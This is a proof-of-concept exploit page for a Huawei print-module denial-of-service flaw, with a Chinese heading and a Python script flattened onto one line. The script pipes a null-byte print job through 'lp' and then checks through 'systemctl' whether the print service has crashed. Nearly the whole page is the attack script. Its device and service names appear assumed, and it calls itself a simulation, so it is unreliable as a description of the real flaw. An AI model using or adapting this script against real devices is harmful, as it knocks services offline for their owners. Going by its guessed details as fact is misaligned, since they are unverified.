CVE-2025-58293 华为设备打印模块异常处理漏洞

# CVE-2025-58293 PoC - Huawei Print Module Improper Exception Handling # This PoC demonstrates the concept of triggering improper exception handling # in the print module to cause denial of service. import subprocess import time import sys def trigger_print_exception(target_device_ip=None, local=True): """ Attempt to trigger improper exception handling in Huawei print module. The vulnerability requires: - Local access (AV:L) - No authentication required (PR:N) - User interaction (UI:R) Args: target_device_ip: IP address of target Huawei device (if remote testing) local: Whether to execute locally on the device """ if local: print("[*] Executing PoC locally on the Huawei device...") # Step 1: Prepare malicious print job with malformed data # The print module fails to handle exceptions when processing # certain malformed print inputs malformed_print_data = b"\x00" * 4096 # Null bytes to trigger exception try: # Step 2: Send malformed print job to trigger exception # This simulates sending a print job with invalid/corrupted data # that the print module cannot handle gracefully print("[*] Sending malformed print job to trigger exception...") # Attempt to invoke print service with malformed input result = subprocess.run( ["lp", "-d", "huawei_printer", "-"], input=malformed_print_data, capture_output=True, timeout=5 ) except subprocess.TimeoutExpired: print("[+] Print module may have become unresponsive!") print("[+] Potential DoS condition triggered.") except Exception as e: print(f"[*] Exception occurred: {e}") print("[+] This indicates improper exception handling in the print module.") else: print(f"[*] Targeting device: {target_device_ip}") print("[!] Note: This vulnerability requires local access (AV:L)") print("[!] Remote exploitation is not directly possible.") def check_print_service_status(): """Check if the print service is still running after exploitation.""" try: result = subprocess.run( ["systemctl", "status", "print_service"], capture_output=True, timeout=5 ) if result.returncode != 0: print("[+] Print service appears to be down - DoS confirmed!") else: print("[*] Print service is still running.") except Exception as e: print(f"[*] Unable to check service status: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-58293 - Huawei Print Module Exception Handling PoC") print("CVSS: 5.5 (MEDIUM) | AV:L/AC:L/PR:N/UI:R/C:N/I:N/A:H") print("=" * 60) trigger_print_exception(local=True) time.sleep(2) check_print_service_status()